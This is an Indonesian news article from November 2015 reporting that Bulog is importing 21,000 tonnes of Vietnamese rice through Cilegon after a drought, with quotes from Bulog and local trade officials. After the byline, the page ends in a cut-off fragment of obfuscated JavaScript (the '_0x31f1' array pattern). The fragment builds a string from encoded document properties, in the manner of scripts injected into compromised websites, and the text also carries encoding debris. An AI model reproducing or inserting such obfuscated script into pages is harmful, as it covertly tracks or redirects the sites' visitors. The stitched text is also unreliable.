Bulog Impor 21 Ribu Ton Beras Dari Vietnam

0
10

Cilegon – Badan Urusan Logistik (Bulog) akan melakukan impor beras sebanyak 21 ribu ton melalui Pelabuhan Indah Kiat Merak, Cilegon. Kepala Bagian (Kabag) Hubungan Masyarakat (Humas) Bulog Sub Divre Serang – Cilegon Khairul mengatakan, impor beras sebanyak 21 ribu ton dariA� Vietnam itu akan didistribusikan ke beberapa daerah di Banten. Untuk wilayah Serang dan Cilegon hanya mendapatkan pasokan sekitar 3 ribu ton saja.

“Beras itu sebagian besar untuk pasokan di wilayah Tangerang yaitu sekitar 18 ribu ton beras. Kalau untuk wilayah Kabupaten/kota Serang dan Cilegon hanya sekitar 3 ribu ton,” katanya, Kamis, 12 November 2015.

Menurut Khairul, impor beras itu dilakukan untuk memenuhi persediaan stok beras di beberapa daerah akibat kekeringan yang terjadi sejakA� Agustus hingga November 2015.

“Untuk pasokan beras yang ada saat ini diperkirakan bisa memenuhi kebutuhan hingga Januari karena kekeringan jadi beras lokal belum panen,” ujarnya.

Khairul mengatakan, beras impor itu dapat membantu masyarakat memenuhi stok dan cadangan beras. “Disitulah fungsi bulog, jika didaerah mengalami kesulitan beras maka kita akan maksimalkan operasi pasar di sejumlah daerah,” katanya.

Sementara itu, Kepala Seksi Perdagangan Dalam Negeri Dinas Perindustrian, Perdagangan, dan Koperasi (Disperindagkop) Kota Cilegon Ikhsan Hasibuan mengatakan, pihaknya mendukung langkah yang di ambil oleh Perum Bulug untuk menjaga pasokan beras agar tetap tersedia, sehingga masyarakat tidak diresahkan oleh kelangkaan pasokan beras dipasaran.

“Tapi beras impor yang masuk ke wilayah Banten khususnya Cilegon harus berkualitas baik,” katanya.

Menurutnya,A� saat ini ketersediaan beras di Kota Cilegon bisa dikatakan masih aman, meskipun dalam keadaan musim kemarau. “Saat ini masih normal ada yang 10 ribu ada yang 11 ribu untuk KW1. Kalau untuk pasokan beras di pasar-pasar yang ada di Cilegon masih aman,” ujarnya. (Nur/Sie) f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}